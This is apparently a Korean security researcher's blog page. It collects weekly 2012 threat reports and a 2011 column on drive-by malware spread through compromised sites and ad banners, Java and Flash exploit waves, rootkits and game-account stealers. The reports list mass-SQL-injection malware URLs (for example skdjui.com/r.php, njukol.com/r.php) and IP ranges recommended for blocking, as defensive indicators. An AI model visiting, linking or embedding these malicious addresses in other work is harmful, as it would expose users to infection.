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'Security Indicator/Security Analysis'에 해당되는 글 39건

  1. 2012/05/16 5월 2주차 위협분석 ( APT 유형출현)
  2. 2012/05/09 5월 1주차 인터넷 위협 분석.
  3. 2012/05/01 4월 5주차 인터넷 위협 분석. (4)
  4. 2011/11/12 공격자의 전략과 무기력한 대응- 위기의 인터넷
  5. 2011/08/25 해외 보안기사 및 현실에 대한 비평 - 8.25
  6. 2011/06/26 해외 ISP가 악성코드 경유지 주소로 직접 활용된다.
  7. 2011/04/20 2년 후의 사이버 보안에 대하여 - 미국
  8. 2011/03/28 Mysql.com과 Sun의 DB 유출- Blind sql injection
  9. 2010/12/06 악성코드의 반복적인 발생과 대규모 유포의 원인
  10. 2010/10/07 Facebook 사건과 8억달러의 벌금 - 기사분석 (12)
  11. 2010/08/17 세계 50만대 이상의 웹 서비스 봇넷 배포지로.. 그리고.. 의견
  12. 2010/07/12 [컬럼] Digital pest - 지금은 더 힘든길로 진입
  13. 2010/07/06 [컬럼] 7.7 DDos 핵심은 무엇인가?
  14. 2010/04/27 분석(10) 구글 초비상. 예견된 위협 adsense worm
  15. 2010/04/27 분석(9) iphone , cyber war and application attack flow
  16. 2010/04/27 분석(8) 다이하드4.0 과 Cyber Terror
  17. 2010/04/27 분석(7) 해외금융 파밍을 통한 대형 금융사고
  18. 2010/04/27 분석(6) Vista는 안전하다- 빌에 대한 반론
  19. 2010/04/27 분석(4) - Web 2.0 UCC의 위협 - 보안위협
  20. 2010/04/27 분석 (5)- 사상 최대 온라인 은행강도 [피싱]
  21. 2010/04/27 분석 (3)- 탈북 ‘해커 대부’ 가 털어놓은 북한의 가공할 해킹 능력
  22. 2010/04/27 분석 (2)- 북한 해커부대 다 뚫을 수 있다.
  23. 2010/04/27 보안관련 기사 분석 (1) - 미증권사 해킹
  24. 2010/04/27 IT보안의 현재 위험과 대응에 대한 예상
  25. 2010/04/27 [컬럼]Small World의 Security- Twitter,Facebook
  26. 2010/04/27 Service Attack (ex:Google의 orkut)의 세계화
  27. 2010/04/27 IT리스크의 현실- 글로벌 보안 위협 -2
  28. 2010/04/27 [컬럼]IT관리자들의 10가지 실수- 두번째
  29. 2010/04/27 [컬럼] IT 관리자들의 10가지 어리석은 실수들-1
  30. 2010/04/27 만두...멸치..그리고 CCRA




안녕하세요. 전상훈입니다.


금주의 동향에 대해 총평을 하면 전주 대비 사용자가 직접 노출되는 유포지 수치는 대폭 증가된 형태를 보이고 있습니다. 활발하게 악성코드 유포를 시도하고 있으며 전주까지 사용 되었던 악성링크도 대거 재활용이 되고 있는 상태로서 신규 악성코드 또한 증가된 현황을 보이고 있습니다.
공격을 당한 곳들도 증가하고 있으며 전주에도 언급 하였지만 위협이 줄어든 것이 아니라 대응이 되지 않는 상태이다 보니 계속적인 악성링크의 재활용과 신규 유형들이 유입이 되고 있습니다.

전주까지 확연하게 증가추세를 보였던 Java Applet 취약성 ( CVE 2012-0507, 2011-3544)은 계속 진행 되고 있으며 금주의 공격 부분에는 Flash 취약성 (CVE-2012-0754) 공격코드들도 증가를 하고 있습니다. 

현재의 상태로 보면 운영체제에 대한 직접적인 취약성 공격은 빈도가 약해지고 있으며 상대적으로 보안대응이 늦을 수 밖에 없는 Third party application에 대한 공격비율이 매우 높은 것을 볼 수 있습니다. 운영체제의 경우 자동업데이트등을 이용하여 보안성을 일정수준 이상 유지 할 수 있으나 현재까지는 Third party 제품군에 대한 자동업데이트는 그리 활발하지 않은 상황이라 공격 비율이 높아 보입니다.

사내 및 관련부서에 Adobe의 Flash 및 Oracle Java 관련된 취약성의 업데이트를 강력하게 권고를 하셔야 될 상황이며 향후에도 계속적인 관리 포인트를 두셔야 할 것입니다.  Flash 최신 버전의 경우에는 자동업데이트 지원이 되고 있으므로 적용을 권고하고 패치가 매우 늦은 Oracle의 경우는 즉시적인 권고를 통해 바로잡아야 합니다. 

모든 내부사용자가 인터넷을 이용하지 않는다면 문제가 되지 않습니다만, 현재의 상황은 불가능한 상황이므로 인터넷 상에서 노출되는 위험으로 부터 보호 할 수 있는 방안을 자체적으로 강구해야만 하는 상황입니다. 상대적으로 보안성이 강력한 사이트의 경우에도 배너 및 태그 광고등을 통해 악성코드들이 지속적으로 유입되고 있습니다.  짧게 노출 시키는 것을 계속 반복하는 상황이며 광고의 특성상 수십여개 이상의 사이트에서 동시에 악성코드 유포 효과를 볼 수 있는 형태라 강도높은 주의가 필요합니다.


특징: 

- 백신 미탐지 악성코드 유형 대거 출현 (국내외 막론하고 동일합니다.)
- CVE 2012-0507 , CVE 2011-3544 ( Java Applet 신규 취약성) 공격 지속 및 CVE 2012-0754 (Flash 취약성) 공격 증가 
- 해외 호스팅 영역을 통한 IP 변경된 공격 지속 및 대학 서비스 중계지 활용 계속
- APT 유형의 드라이버 루트킷 재출현 ( 감염이후 192.168. 대역에 대한 스캔 및 확인 기능) , 국내외 유명게임들의 다수 계정 탈취
- 이전 출현 하였던 악성링크의 재활용 계속 증가 ( 심각한 상황입니다.)
- 배너, 태그 광고 링크에 대한 공격 지속  ( 태그 광고 1곳, 배너광고 2곳 이상)
- Mass sql injection  최초 유형 발견 2곳 시작됨 ( 5.8일 skdjui.com/r.php , 5.13일 koklik.com/r.php )
     
Mass sql 공격 관련 정보는 http://www.symantec.com/connect/blogs/lizamoon-mass-sql-injection-tried-and-tested-formula 이곳을 참고 하시면 됩니다.
국내에도 빠르게 확산 되고 있으며, 2012-0507 유형이 같이 사용 되고 있으므로  사내의 임직원들에게 강력한 보안 패치 정책을 권고 해야 합니다. 

4월 3주차 보고서에서도 웹을 통한 루트킷 ( APT 유형) 유형의 유포에 대해 알려 드렸습니다만, 보다 강화된 형태로 재출현 하였습니다. 시스템상의 드라이버를 교체하는 형태로 루트킷이 설치가 되고 있어서 사후 대응 및 처리에도 상당한 어려움이 있을 것으로 보입니다. 또한 내부 사설망을 스캔하는 형태가 발견 되어 의도가 매우 의심스러운 유형이 유포가 되고 있습니다.  키로깅 이외에 화면 캡쳐 및 녹음기능을 포함한 악성코드 유형도 발견 되었으므로 강도높은 주의가 필요합니다.
각 기술보고서에는 외부 연결 시도를 할 경우 해당 도메인이나 IP가 각각 기술이 되어 있습니다. 해당 정보 참고하여 추적 및 대응에 참고 하실 수 있습니다.

내부망의 사용자 PC가 한대라도 권한 획득을 당했을 경우 그 위험성은 충분히 인지하고 계실 것으로 알고 있습니다. 다양한 대책을 통해 위험을 계속 줄여 나가는 것이 현재 할 수 있는 가장 중요한 일이 아닐까 생각 됩니다.

 
APT 유형의 악성코드 이외에 게임계정을 노리는 악성코드들이 다수 발견이 되었으며 해당 악성코드들은 윈도우즈 시스템의 시스템 DLL 파일을 변조하여 패킷 전송 시점에 정보를 가로채는 형태로 되어 있습니다. 현재 변조되는 dll은 windows socket 관련된 dll인 ws2help.dll과 safemon.dll 을 대상으로 악성기능을 하도록 변조하고 있으며 대상이 되는 게임들은 국내외 유명게임을 모두 막라하고 있으며 백신 프로세스에 대한 종료코드들도 같이 동작되고 있는 상태입니다.

대상게임: 엔씨 -리니지 , 한게임 -테라 , 넥슨 -메이플스토리,엘소드, 블리자드-와우, CJ인터넷 - 피파온라인, 네오플-던파 


대응:


 - Java 및 Flash 취약성 공격 코드 증가에 따라  Adobe Update 및 Oracle Java 업데이트 강력 권장
- 해외 호스팅 영역 . 4월 3주,4주,5주차,5월 1주차 차단 권고 영역 유지 필요. - 이전 활용된 악성링크들이 계속 재활용 되고 있습니다.
추가 차단 클래스는 다음과 같습니다. 해당 클래스들은 공격자가 전체 제어권을 가지고 있어서 지속적으로 공격에 활용할 곳으로 예정 되고 있습니다. 차단이 필요한 상황입니다. 주중에도 상시적으로 이용이 되고 있으므로 차단은 강력하게 필요합니다.
 

           205.164.7.[66-75] (USA)  - 5월 2주차 추가         
           50.117.119.0/25
            67.213.211.0/25 
  1. 211.100.253.0/24 (China)
  2. 205.164.0.0/24 (USA)
  3. 69.4.224.0/24 (USA)
  4. 209.73.156.0/24 (USA)
  5. 174.127.79.0/24 (USA)

금주 유포지나 악성링크로 활용된 곳들은 다음과 같습니다.     
대학 서비스 중에서는  XXX, XXX 서비스들이 악성코드 중계에 계속 활용 되었고, 팬클럽, 커뮤니티, 언론사,쇼핑몰들이 악성코드 유포에 활용 되었습니다. 언론사 및 대형 쇼핑몰등은 배너 및 태그 광고 서버를 공격하는 형태로 공격이 계속 반복되어 발생 되었으며 피해도도 높을 것으로 예상 됩니다.

*위의 이미지의 한장짜리 요약 보고서는 무료로 받으실 수 있으며 기관/담당자/연락처 기재후 csyong95@kaist.ac.kr 로 신청 하시면 됩니다.

* 본 보안 정보 제공 서비스의  정식 구독  가입 및 시범 서비스 신청은 info@bitscan.co.kr 이며 기관명/ 담당자/ 연락처 기재가 필요하며 시범은 기관/기업별 1회에 한정 합니다.

- 바다란 세상 가장 낮은 곳의 또 다른 이름.

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Posted by 바다란

5월 1주차 보안 정보제공 서비스는 메일로 전달이 되는 보고서들입니다. 국내.외를 통털어 확인이 어렵고 공개되지 않는 정보들에 대해 분석하고 대책을 마련할 수 있도록 제공되고 있습니다.  제가 메일로 보내는 내용에 대해서는 일부 민감한 내용을 제외하고는 정리를 해드리겠습니다. 현재 우리의 상태와 현실을 아는 기회가 되었으면 합니다.



Mass sql injection과 같은 공개적인 공격들은 아마 본 정보제공에서 최초 공개가 될 수 있을 것이고 그외의 악의적인 링크들은 보고서들에만 기술 될 수 있어서 본 게시물에서는 공개가 불가합니다. 

또한 보고서 상에는 악성링크로 활용이 될때에는 원칙에 따라 보고서상에 공개를 하고 있으며 국내의 서비스들이 악성링크에 이용이 된 경우에도 원칙대로 공개됩니다.



본 서비스를 통해서 얻을 수 있는 다양한 활용은 다음과 같습니다.


1. 업데이트에 대한 강력한 권고 ( 이번주는 Java 업데이트 입니다.)
2. 대응을 위한 차단 정책 적용 
3. 감염되었을 경우의 사고대응 참고 
4. 게임사들은 고객의 계정정보 보호를 위한 다양한 기술적 보호 방안 강구. 

위와 같은 활용들이 가능하니 적극 활용 하시기 바랍니다.




------------------------

지난 주 발생 되었던 위협들에 대해 금주 정리를 해보면 예상 되었던 위협들은 그대로 진행이 되고 있습니다.다만 출현 범위는 줄어든 상태를 보이고 있습니다.

전체적으로 공격을 당한 곳들은 동일한 수치를 보이고 있으나 분석 대상에 포함되지 않은 것은 이전에 활용 하였던 악성링크들을 대거 재활용 하는 경향을 보이고 있어서 전체적인 분석 카운트는 줄어들었습니다. 그러나 현재 상황은 위협이 줄어든 것이 아니라 대응이 되지 않는 상황이라서 자유스럽게 공격자들이 재활용을 하는 상황에 도달한 것으로 보고 있습니다.

각 기술분석 보고서들의 분류는 공격하는 취약성 집합에 따라 분류가 되어 있고 Java applet 취약성인 2012-0507 취약성을 단독 이용 하거나 결합된 형태로 이용하는 사례가 증가하고 있습니다. 따라서 지난주 대거 출현 하였던 2012-0507에 대해 분석된 전문분석 보고서 내용을 전달 드리는 것이 바람직해 보입니다.
기술 보고서에는 간략하게 언급이 되어 있지만 전문분석에는 디컴파일된 형태에서 기능과 역할에 대한 부분들이 분석 되어 있습니다. ( 이외에도 다양한 전문분석 부분들이 진행이 되고 있으며 완료 되는대로 순차적으로 해당 서비스 고객들에게 전달 될 예정입니다.)


특징:
 

- CVE 2012-0507 ( Java Applet 신규 취약성) 공격 계속
- 해외 호스팅 영역을 통한 IP 변경된 공격 지속 관찰
- 국내 대학의 서버를 활용한 악성코드 유포 계속, 파일 공유 및 언론사를 통한 유포시도 감소
- 이전 출현 하였던 악성링크의 재활용 계속 증가 ( 차단이 되지 않으니 계속 활용 되고 있습니다.) 
- 배너, 태그 광고 링크에 대한 공격 지속  ( 태그 광고 1곳, 배너광고 1곳)
- Mass sql injection  최초 유형 발견 2곳 시작됨 ( http://uhijku.com/r.php http://uhjiku.com/r.php )
     
Mass sql 공격 관련 정보는 http://www.symantec.com/connect/blogs/lizamoon-mass-sql-injection-tried-and-tested-formula 이곳을 참고 하시면 됩니다.
국내에도 빠르게 확산 되고 있으며 본 메일을 작성 하는 시점에도 추가 유형이 발견 되고 있습니다. 2012-0507 유형이 같이 사용 되고 있으므로 전문분석을 참고하시고 사내의 임직원들에게 강력한 보안 패치 정책을 권고 하셔야 할 것입니다. 내부망의 사용자 PC가 한대라도 권한 획득을 당했을 경우 그 위험성은 충분히 인지하고 계실 것으로 알고 있습니다. 다양한 대책을 통해 위험을 계속 줄여 나가는 것이 현재 할 수 있는 가장 중요한 일이 아닐까 생각 됩니다.
 


대응:
 

- CVE 2012-0507 공격기법에 대한 전문분석 제공합니다. 단 서비스 신청된 기업/기관에 한정 합니다.
- 해외 호스팅 영역 . 4월 3주,4주,5주차 차단 권고 영역 유지 필요. - 이전 활용된 악성링크들이 계속 재활용 되고 있습니다.

5주차에 권고 드렸던 하기의 차단 클래스는 그대로 금주에도 발생을 하여 유지하며 추가 차단 클래스는 다음과 같습니다. 해당 클래스들은 공격자가 전체 제어권을 가지고 있어서 지속적으로 공격에 활용할 곳으로 예정 되고 있습니다. 차단이 필요한 상황입니다. 또한 저희쪽에서 이 부분을 공개할 경우 공격자들과 계속해서 숨은그림 찾기를 해야 합니다만 .. 각오하고 올리도록 하겠습니다.

 
      5월 1주차 차단 권고 대역
            50.117.119.0/25
            67.213.211.0/25 

 4월 5주차 차단 권고 대역

  1. 211.100.253.0/24 (China)
  2. 205.164.0.0/24 (USA)
  3. 69.4.224.0/24 (USA)
  4. 209.73.156.0/24 (USA)
  5. 174.127.79.0/24 (USA)

금주 유포지나 악성링크로 활용된 곳들은 다음과 같습니다.     
.....중략 (민감한 부분)

또한  어린이날을 맞아 *** 사이트와 같은 곳에서 악성코드를 뿌릴 수 있도록 집중적으로 공격하여 악성코드에 감염을 시키려는 꼼꼼한 면도 공격자들은 보여주고 있습니다. 


본 5월 1주차 정보제공 서비스에 포함된 전문분석 보고서는 향후는 서비스 프로페셔널 서비스 이상에만 제공이 되며 , 시범서비스에는 제공이 되지 않을 예정입니다. 참고하세요. 시범 서비스는 순차적으로 1개월 경과시 종료 됩니다. 4회 이상을 보고서를 받으셨다면 그 이전에 정식 구독서비스를 받으셔야 보고서가 누락되지 않습니다.  

* 구독 서비스 가입 및 시범 서비스 신청은 info@bitscan.co.kr 이며 기관명/ 담당자/ 연락처 기재가 필요하며 시범은 기관/기업별 1회에 한정 합니다.

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Posted by 바다란

5.1일 Mayday . 

보안분석 보고서 발송 되었습니다. 

서비스 구독 기업 및 기관들께서는 확인이 필요한 내용들이 많이 있습니다. 


이런 정보들 어디에서 보실 수 있으시겠습니까?

기술분석 보고서에는 악성링크로 활용된 국내 유명 도메인 및 국내 도메인들도 원칙에 따라 공개 되어 있습니다. 저희의 원칙은 악성링크는 공개한다 입니다. 온라인상 공개는 어렵고 오프라인상의 보고서에서만 가능합니다. 보고서상에는 공개되어 있습니다.


한 주간의 국내 인터넷상의 위험에 대한 실체적 진실과 대응 방향등이 기술 되어 있습니다. 문제는 날이 갈수록 강도가 강해지고 있고 위험성이 더 높아지고 있다는 점입니다.


현실은 참혹합니다.  수면위는 평안해도 수면 아래는 폭풍이 치는 형국입니다.

준비 되지 않고 대응하지 않는다면 앞으로는 더 힘든 상황으로 계속 갈 수 밖에 없음을 보고서를 통해서 직접 느낄 수 있습니다.





4월 5주차 보고서 전체에 대한 간략한 요약은 다음과 같습니다.

-------------------------------------------------------------

본 서비스는 빛스캔의 비트파인더를 통한 악성링크 탐지와 KAIST 사이버보안연구센터의 분석을 통해 산출된 보고서 입니다. 국내에서 발생되는 악성링크와 악성 코드에 대한 구조와 기능에 대한 분석을 가장 빨리 진행 하고 있으며 악성링크에 대한 정보는 가감없이 오픈을 하고 있습니다. 전문 기술인력과 역량의 결합을 통해 국내에서 자체적으로 생산되고 있는 보고서이며 상당히 많은 리소스와 기술이 투입 되고 있음을 유념해 주십시요.



악성링크에 대한 카운트는 동일한 악성링크가 수십곳 이상의 서비스에 들어가 있어도 저희쪽에서는 1로 카운트 됩니다. 즉 60여개 이상의 악성링크를 발견 했다는 것은 수십~수백곳 이상의 서비스들에서 동시에 유포를 하고 있다는 의미와 동일합니다. 그만큼 파급력이 크고 위험도가 높으므로 적극적인 대응이 필요한 부분이 되겠습니다.



금주의 특징으로는 새로운 공격기법의 적극적 활용 ( CVE 2012-0507) 이 출현과 동시에 대규모 활용이 되고 있습니다. 또한 해외 호스팅을 통한 활발한 공격 ( IP 변경을 통해 차단 우회 및 정체를 은닉)이 계속 되고 있습니다.


유명 도메인 자체 및 파일공유 사이트, 대학의 전산원 페이지 까지도 악성파일이 직접 올려져 유포에 활용 하는 형태의 과감함도 나타나고 있어서 향후 어떤 방향으로 위협이 나타날 것인지 심각한 우려를 표합니다. 지금껏 악성코드 유포를 위한 변조들이 있던 서비스들이 직접적으로 악성코드를 서비스 하는 형태로 변경 된 것에 대해 심각성이 높습니다.



4월 5주차 공격 특징: 


- CVE 2012-0507 ( Java Applet 신규 취약성) 공격 출현 및 급증 

- 해외 호스팅 영역을 통한 IP 변경된 공격 지속 관찰

- 국내 유명 도메인 및 파일 공유 사이트 자체를 악성링크로 활용

- 언론사 기사 항목으로 위장한 악성링크 유포시도 다수 발견 ( 정상 언론사 기사)

- 이전 출현 하였던 악성링크의 재활용 다수 증가 ( 차단이 되지 않으니 계속 활용 되고 있습니다.)

- 배너, 태그 광고 링크에 대한 공격 지속 증가 ( 태그 광고 1곳, 배너 광고 2곳 이상)

- Mass sql injection 최초 유형 발견 ( njukol.com/r.php )


대응:

 
- CVE 2012-0507 공격기법에 대한 전문분석 완료, 필요시 신청해 주세요.
- 해외 호스팅 영역 . 4월 3주,4주차 차단 권고 영역 유지 및 추가 차단 필요
  본 영역들은 공격자가 통제하는 영역이므로 향후 지속적으로 피해가 발생 될 수 있습니다.
  1. 211.100.253.0/24 (China)
  2. 205.164.0.0/24 (USA)
  3. 69.4.224.0/24 (USA)
  4. 209.73.156.0/24 (USA)
  5. 174.127.79.0/24 (USA)
- 유명 서비스가 직접 악성링크에 활용된 케이스는 다음과 같습니다. 

온라인 상에서는 생략합니다. 상세한 정보는 첨부 기술보고서들을 참고 하십시요.


.....후략



상세한 내용들은 보고서를 참고 하십시요. 보고서의 시범서비스 신청은 기업 및 기관명 / 성명/ 연락처 를 적어서 info@bitscan.co.kr 로 신청 하시면 됩니다. 개인 차원에서는 받으실 수 없습니다. 

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Posted by 바다란
 - 2011.11.12
공격자의 전략적인 측면을 살펴 봐야 한다. 지금 개별 단위 보안제품의 대응은 사실상 무장해제 상태라고 봐야 하며 공격자들은 일단 규모로서 압도를 하고 탐지 로직을 우회함으로써 무력화 시키는 상황이다.

네트워크 단위의 보안제품의 한계, 패턴 매칭을 통해 탐지를 하는 AV든 Web Firewall 이든 개별적인 대응 밖에 되지 않고 있는 상황이고 전역적인 대응은 언감생심 꿈도 꾸지 못할 상황이다.

날마다 새로이 나오는 악성코드들을 진단 하기 위해서는 악성코드의 수집이 가장 먼저여야 된다. 그동안의 수집 방법을 보면 상당부분이 사용자의 신고, 허니넷, 허니팟 등을 통해서 이루어 지고 있다. 물론 정보의 공유는 시일이 지나서 각 업체들 끼리 이루어 짐으로 시의적절성 측면에서 늦을 수 밖에 없다. 이 각각에 대해 조금 이면을 살펴보자.

  • 만약 공격자가 공격을 수행 하지 않는다면 허니넷이나 허니팟은 무용지물이 된다.  
  • 또한 사용자가 악성이라고 인식을 하는 대부분의 경우도 설치된 AV에서의 탐지를 근거로 한다. 만약 AV가 탐지 하지 못하는 악성코드라면 사용자가 인지할 방안은 없다.

  • 업체간의 정보공유도 이전과 같은 전통적인 전달 매커니즘인 디스켓, USB를 통한 악성코드의 감염은 지역별 확산에 상당한 시간차가 걸렸고 바다를 건넌다는 것도 어려웠다. 이 매커니즘이 깨진건 웜이라는 매개체를 통해서이며 이 웜 조차도 발생지 근처의 네트웍이 먼저 초토화 된 이후 다른 곳으로 확산 된다.

    웜 이후에 발생된 것은 검색엔진을 통한 특화된 공격, 파일 공유등을 통한 확산이 있었고 일정한 특징을 가지고 있었다. 그렇다면 지금은 어떨까?

간단하게 설명하고 상당부분 축약해서 위의 과정을 언급했지만 각 과정마다 언급하지 않은 많은 상세한 부분들이 있다. 그 특징들에 대해서는 지금까지의 발표자료나 본 사이트의 글들을 참고하면 일정 수준 참고가 가능하다.

지금의 공격은 말하자면 불특정 다수를 겨냥한 무차별적인 악성코드 유포이며 주된 공격 대상은 사용자의 PC에 일반적으로 설치된 써드파티 프로그램을 공격하는 코드들이다.

왜 Adobe는 시도 때도 없이 패치를 하는가? 

그 이유는 현재 사용자 PC의 90% 가량에 Flash player가 설치 되어 있기 때문이고 해외도 비율상 조금 낮은 거 이외에는 별반 차이가 없다. 공격자들은 Flash Player의 취약성을 공격하여 사용자 PC의 권한 획득을 하는 것이 가장 효율적인 방안임을 인지하고 있기 때문에  집중적인 공격을 수행한다.

또한 개별 PC를 공격하는 것이 아니라 사용자들이 방문하는 웹서비스들을 집중하여 공략 함으로써 불특정 다수에 대한 공격을 성공적으로 하고 있다. 언론사뿐 아니라 주요 커뮤니티 서비스들, 파일공유 사이트들을 직접 공격하여 웹서비스의 소스를 변경한다. ( 운영자나 개발자가 눈치 채지 못하게 암호화 하거나 기묘한 곳에 아주 짧게 넣는 것은 기본이다.)


< 웹을 통한 악성 코드 유포와 활용에 대한 컨셉>

위의 이미지와 같이 다양하게 활용 되고 있다. 이중 90% 가량은 개인정보 유출 및 백도어 활용이 가능한 용도의 악성코드를 사용자에게 감염 시키고 5% 가량은 DDos 나 Arp spoofing 행위를 보인다. 나머지 5% 가량이 지난 농협 사례와 같이 내부망으로 공격하는 용도의 악성코드라 할 수 있다. 사실은 90%의 개인정보 유출도 동일하게 활용이 가능할 뿐이다. 사용처에 대해 구분을 하자면 이 정도라는 것일뿐.


2011년 11월 12일 현재의 상황


지난 몇년간을 위험성에 대해서 언급을 했었고 개인 차원에서 할 수 있는 최대한으로 발표와 기고, 컬럼을 통해 언급을 했었지만 아직도 우리는 한참을 더 가야 하고 현 상황을 돌아 보고 반성이 필요하지 않나 생각 된다.
물론 우리뿐 아니라 전 세계적으로 마찬가지지만  ..만약 우리가 대응을 잘한다면 미래에서의 인터넷의 주요 파워를 가지게 되지 않을까? 

단순한 예상으로도 보안 문제는 앞으로 더 심각해 지며 , 악성코드의 갯수는 점점 더 많아 질 것이다라고 예상 할 수 있다. 시만텍과 맥아피도 손을 놓는 상황에서 누가 살아 남을 수 있을 것인가? 핵심은 대량유포 매커니즘을 깨야만 하는 것이고 이 매커니즘을 깨기 위해서는 다각적인 노력이 필요하다. 이 노력은 악성코드 유포에 이용 되는 많은 웹 서비스들의 문제점을 개선하는 측면 하나와 대규모 확산 이전에 차단 하는 노력이 병행 되어야 가능 할 것이다.

모든 웹 서비스들의 문제점을 개선하여 공격자가 인위적으로 웹소스를 변경 하지 못하도록 취약성을 제거 한다면 이 문제는 매우 명백하게 해결 되나 이렇게 될 가능성은 앞으로도 인터넷이 존재하는한 불가능하다. 최소한 방문자가 많은 사이트들에게는 일정 수준의 강요가 되어야 하고 즉시적이고 긴급한 대응이 계속 되어야만 한다.

더불어 길목을 차단하는 것으로 수십여곳 이상의 웹서비스에서 악성코드의 경로가 추가되어 모든 방문자들에게 감염 시도를 하는 것을 예방 할 수 있다. 웹 소스에 추가된 경로를 빠르게 인지하여 대응을 한다면 이게 가능해진다.

경로의 빠른 인지는 아직도 원초적인 ( 이벤트 탐지 방식) 방식에만 의존하고 있는데 이걸 우회하고 무력화 하기 위한 공격자들의 전략도 이미 출현한 상태이고 이 부분은 별도의 글로 남기고자 한다.  
전략을 넘어서기 위해서는 좀 더 다른 방식의 접근이 필요하다.

탐지 체계에서도 다른 형태가 필요하며 대응체계 (주로 AV)도 변화가 필요한데 최소한 선제적인 대응이라도 못한다면 빠른 악성코드의 공유체계와 감시체계라고 존재해야만 효율을 높일 수 있다. 솔직히 한국을 대상으로 직접적으로 악성코드를 유포하고 있음에도 불구하고 한국내의 AV업체가 제대로 대응을 하지 못하는 것은 기회를 잃어 버리는 것과도 동일하다. 해외 보안분야 대기업들과 비교할 필요도 없다. 비교 우위를 가질 수 있는 고난의 시간을 그냥 보내는 것은 비극이다.


그럼 여기 금일자로 최소 50여곳 이상의 서비스들에 추가된 경유지를 살펴 보자. (하루 방문자 1만명만 해도 50만명이 감염 범위에 들어간다. 신규 악성코드라면 성공률은 거의 90%라고 봐야 하지 않을까? 최소한..)

A라는 서비스에 B라는 주소가 인위적으로 소스에 추가되어 있다. 우린 그 B를 추적하여 그 근거지를 보여주는 것이다. 일반적으로 사용자는 A라는 서비스에 브라우저로 연결만 하여도 B의 주소의 것도 같이 실행 되게 되어 감염 되는 것이다. 


두 곳을 올렸다. 한 곳은 국내의 커뮤니티 사이트에 직접 올린 내용이고 또 다른 하나는 공격자가 만든 근거지이다.
현재 이 데이터를 확인 하는 것은 이미 발견 시간이 몇 시간좀 지나긴 했지만 아직도 전 세계에서 두번째가 아닐까 싶다.

만들어둔 공격자 다음으로 말이다.

* 최소 50여곳 이상의 웹서비스에서 악성코드를 사용자에게 배포하고 있슴에도 불구하고 구글의 Block 로직은 전혀 동작하지 않는다. Stopbadware의 데이터는 이전 기록을 가지고 대응하는 것일 뿐이지 지금의 문제는 아닌 것이다. 또한 판단근거가 부족하기에 탐지는 어렵다고 봐야 된다.  구글의 서비스 확장전략에 보안도 들어가 있지만 그것은 필히 실패할 것이다. 지난 6년간 수많은 비용을 들여 축적한 데이터의 신뢰도는 낮다. 그걸 입증하는 것도 어렵지 않다.  앞으로는 규모로 한번 해볼 예정이다. 

그렇다면 이중에서 신규 플래쉬 공격코드로 유포되는 악성코드의 탐지는 어느 정도 되는지 확인해 보자.



단순히 보면 알겠지만 전 세계 주요 백신들 중에서 오직 하나 정도만이 휴리스틱으로 ( 악의성이 있다 정도? ) 탐지가 된다. 나머지는 전멸이다. 여기 백신에는 이름만 들어도 알 수 있는 모든 제품들이 포함 되어 있다.

즉 제대로 진단되는 백신은 하나도 없다는 의미와 동일하다.
( 시만텍이든 맥아피든 마찬가지다...)

서비스를 통한 차단을 하는 구글의 Stopbadware도 차단이 되지 않고 가장 악성코드를 많이 분석하는 회사들이나 모든 백신 회사들의 탐지에도 걸리지 않는다. 이게 지금 우리가 마주한 실질적인 위협이다.


지난 3주 이상을 샘플을 일부 분석해 보고 테스트 해봤지만 평균 탐지율은 10% 미만이다. 우리의 지금 상태가 그렇다. 오늘도 파일공유나 언론사, 커뮤니티 사이트에 대량 추가가 되어 있어서 한국내에서만 이 악성코드의 확산은 100만대를 상회할 것이라 예상된다. Adobe의 패치? 기대를 말자!.

우리를 보호하고 지킬 수 있는 것은 우리 자신 밖에 없다. 아무리 불법적인 사이트를 안가고 패치를 잘하고 보안제품을 쓴다고 해도 이젠 위험에 노출된 상황이다. 인터넷 서핑을 하지 말아야만 위험이 줄어 드는데 그럴 수 있는가? 

다른 형태의 위협대응이 긴급하게 요구되고 즉시 대응이 되어야만 한다.


- 바다란 세상 가장 낮은 곳의 또 다른 이름

* 현재 여기에 올린 이미지의 내용을 인지하고 있는 곳도 없고 악성 공격코드의 최초 확보도 현재로서는 우리쪽에서만 가능하다. 좀 더 조용하고 은밀하게 해야 하지만 이 문제의 심각성에 대해서 인식이 부족하여 노출을 감내하면서도 자료를 일부 오픈 할 수 밖에 없다. 그러나 충분한 인식이 되었다면 우리도 정보 노출을 최대한 하지 않을 생각이다. 


*개인적으로 지난 15년간 ( 벌써 ..후.) 많은 공개문서들과 컬럼, 의견들을 올렸는데 한번쯤 정리를 할 필요성을 느낀다. 여전히 새롭게 이 분야에 들어온 많은 분들이 모르는 것들이 많다. 먼지 쌓인 외장 하드의 전원을 한번쯤 올려야 겠다. History of p4ssion 정도
 
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Posted by 바다란

FB에 올린 450자 짜리 단상을 묶어서 게재 합니다.
별도 컬럼으로 정리가 필요한 것들도 있지만 fb에만 자주 쓰다보니 블로그에는 자주 못 쓰는 경향이 있네요. 또한 450자로도 표현하기 힘든 많은 내용과 생각들이 있어서 아쉬움에 여기에 옮깁니다.
페북 주소


Recruiting and developing the 21st century cyber warrior

http://www.scmagazineus.com/recruiting-and-developing-the-21st-century-cyber-warrior/article/210230/


이 글은 미국방 분야에서 사이버 보안 인력을 뽑을때 문제가 되는 부분들과 비교가 되는 부분들에 대해서 잘 정리가 된 컬럼 이다. 정확하게 문제가 되는 부분들에 대해서 지적하고 있고 이 내용은 국내도 동일하다.

글을 읽어야 할 사람들은 도구로서 이용만 하려 하거나, 숫자만 채우면 된다고 생각 하거나, 시키면 할 것이다라는 모든 사람들에게 해당 된다. 일반 회사도 마찬가지 상황일 것이다. 
컬럼 자체는 정책결정 가능한 고위직, 군간부, 기업의 경영진이 꼭 봐야 할 내용이다. 물론 보안을 생각한다면..

결론적으로 가장 중요한 한마디만 요약하면 사이버 보안을 담당하는 인력들을 유인하기 위해 가장 중요한 하나는 동기부여 및 새로운 것에 대한 지적호기심 자극이 가능 중요하다고 할 수 있다. 별도 정리 예정


* 인력을 뽑는 다는 측면에서 고려해야 할 점이 많음을 볼 수 있다. 급여 및 다른 제반조건이 아무리 좋다고 하여도 다른 방향을 보는 사람을 포용하여 공동의 이익을 얻기 위해서는 서로가 같이 맞추어야 할 부분이 많다는 것이다. 가장 중요한 포인트는 두가지. 동기부여 측면과 공격을 강화 하는 것은 보호를 강화하는 것과는 다른 측면이라는 인식이 절대적으로 필요하다는 점이다. 

보안분야를 강화하기 위해 인력 양성이나 인력 확보를 노력 하는 모든 기업이나 기관, 국가에서 귀담아 들어야 할 내용이라 생각 된다.


